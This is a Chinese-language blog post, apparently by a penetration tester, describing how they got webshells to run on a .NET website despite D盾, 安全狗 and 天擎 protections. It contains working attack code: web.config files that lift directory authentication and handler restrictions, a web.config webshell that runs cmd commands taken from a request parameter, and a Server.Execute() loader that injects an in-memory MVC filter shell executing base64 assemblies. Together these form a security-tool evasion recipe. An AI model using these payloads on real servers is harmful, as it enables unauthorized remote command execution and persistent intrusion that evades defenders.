.Net网站webshell 401?403?D盾拦截?一招内存马直接搞定

本文讲述了作者在项目中遇到的.NET系统安全漏洞,涉及Web.config文件上传绕过、内存马注入尝试,以及如何通过Server.Execute()方法成功绕过D盾的安全检查。作者分享了实战中的挑战和学习过程。
摘要由CSDN通过智能技术生成

一丶故事介绍  

        在参加某次公司项目时,在碰到一个.NEt的通用系统,通过审计发现了两个文件上传漏洞,网站管理员发现网站被上传webshell后,最开始是修改了网站的配置文件,导致脚本文件禁止执行,后来通过上传web.config的方式给绕过了,但是后面管理员又给服务器装了D盾,安全狗,天擎,导致上传的文件无法正常解析,尝试了各种免杀的aspx马,都是提示禁止执行脚本文件,最后通过加载内存马的方式绕过了D盾的检测。

二丶Web.config的多种用法

网站目录禁止访问aspx文件,以及需要鉴权时,可以通过在当前目录下上传web.config来实现绕过,当然,web.config也可以当作webshell来连接

注意注意注意!!!! 定不要把web.config传到网站根目录,不然你会失去一个入口,因为修改根目录的web.config很可能导致网站500崩溃,一定要找一个没用的目录去传,比如/js,/scripts等这样的目录

401鉴权:

这样即可允许所有用户访问该目录下的 ASPX 文件,而不需要进行认证

<?xml version="1.0"?>
<configuration>
    <system.web>
        <authorization>
            <allow users="*"/>
        </authorization>
    </system.web>
</configuration>

403以及404的扩展配置:

 

<configuration>

<location path="">
  <system.webServer>
    <handlers>
      <add name="ASPXHandler" path="*.aspx" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="Unspecified" preCondition="integratedMode" />
    </handlers>
  </system.webServer>
</location>
</configuration>

web.config的webshell:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!--
<%
Response.Write("-"&"->")
Function GetCommandOutput(command)
    Set shell = CreateObject("WScript.Shell")
    Set exec = shell.Exec(command)
    GetCommandOutput = exec.StdOut.ReadAll
End Function
Response.Write(GetCommandOutput("cmd /c " + Request("cmd")))
Response.Write("<!-"&"-")
%>
-->

这里是借鉴的其他大佬的文章:某电力公司漏洞报告之web.config的rce之旅

三丶尝试通过注入.net内存马实现绕过D盾查杀

审计的两个上传中,有一个上传不是常规的上传包,通过此上传可以绕过D盾的websell上传检测

但是问题就是文件上传上去了,执行不了

经过了大量测试,发现D盾对webshell的查杀太变态了,稍微带一点webshell的特征就执行不了

后来也尝试了直接免杀的正向代理,虽然解析了,但是流量也带不出来,应该是天擎的原因。

翻阅了一下关于.net内存马的文章,后来萌生了个想法,就是能不能通过直接去注入内存马,因为D盾只查杀落地的webshell,而内存马是在网站下没有文件生成的,后来试了一下,还是不行,访问注入内存马的aspx文件,直接也是禁止执行,因为注入内存马的文件,本身也是带webshell特征的

四丶通过.Net Server.Execute()方法成功注入内存马

在思考了许久,现在的情况就是让我上传的1.aspx执行成功一次,就可以注入内存马了,有什么方法可以绕过D盾检测去执行一下1.aspx呢?

通过查阅了大量资料,最终在官方文档中找到了满足我需求的方法

Server.Execute 方法 (Microsoft.AnalysisServices.Core) | Microsoft Learn

可以通过Server.Execute()方法去执行我的上传的注入内存马的文件,并且D盾检测此文件为安全的文件

方法就是先上传一个注入内存马的aspx文件 名为webshell.aspx,然后再上传一个执行加载内存马的文件,名为load.aspx

上传成功后,访问load.aspx,然后load.aspx加载执行webshell.aspx,即绕过了D盾对webshell的检测

代码如下

load.aspx:

<%@ Page Language="C#" %>
 <% 
                // 使用Server.Execute()方法加载并执行其他页面
                Server.Execute("wenbshell.aspx");
  %>

webshell.aspx:

<%@ Page Language="c#"%>
<%@ Import Namespace="System.Web.Mvc" %>
<script runat="server">
    public class MyAuthFilter : IAuthorizationFilter
    {
        public void OnAuthorization(AuthorizationContext filterContext)
        {
            HttpContext context = HttpContext.Current;
            String Payload = filterContext.HttpContext.Request.Params["ant"];
            if (Payload != null)
            {
                System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
                assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(context);
                context.Response.End();
            }
            Console.WriteLine("auth filter inject");
        }
    }
</script>
<%
    GlobalFilterCollection globalFilterCollection = GlobalFilters.Filters;
    globalFilterCollection.Add(new MyAuthFilter(), -2);
%>

关于内存马部分详细的介绍我就不写了,上链接吧,我也是现学现用的

ASP.NET下的内存马(1) filter内存马 - 跳跳糖大佬写的挺好,就是有点小问题,后来通过我修改了一下,最后注入成功了,

五丶结束

其实看似挺简单的,但是在我实战中浪费了我大量时间,现实的干扰因素其实挺多的,就比如waf,以及安全狗的IP封禁,导致我每发一个包就需要修改一下IP,因为是攻防项目,不能在一个口子上浪费太多时间,中间还放弃了好几天,这个是到快结束的时候又 重新搞得,虽然到最后也没拓到内网,但是通过实战自己也是学习到了许多新的思路,对自己也是一种提升

  • 18
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Azjj98

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值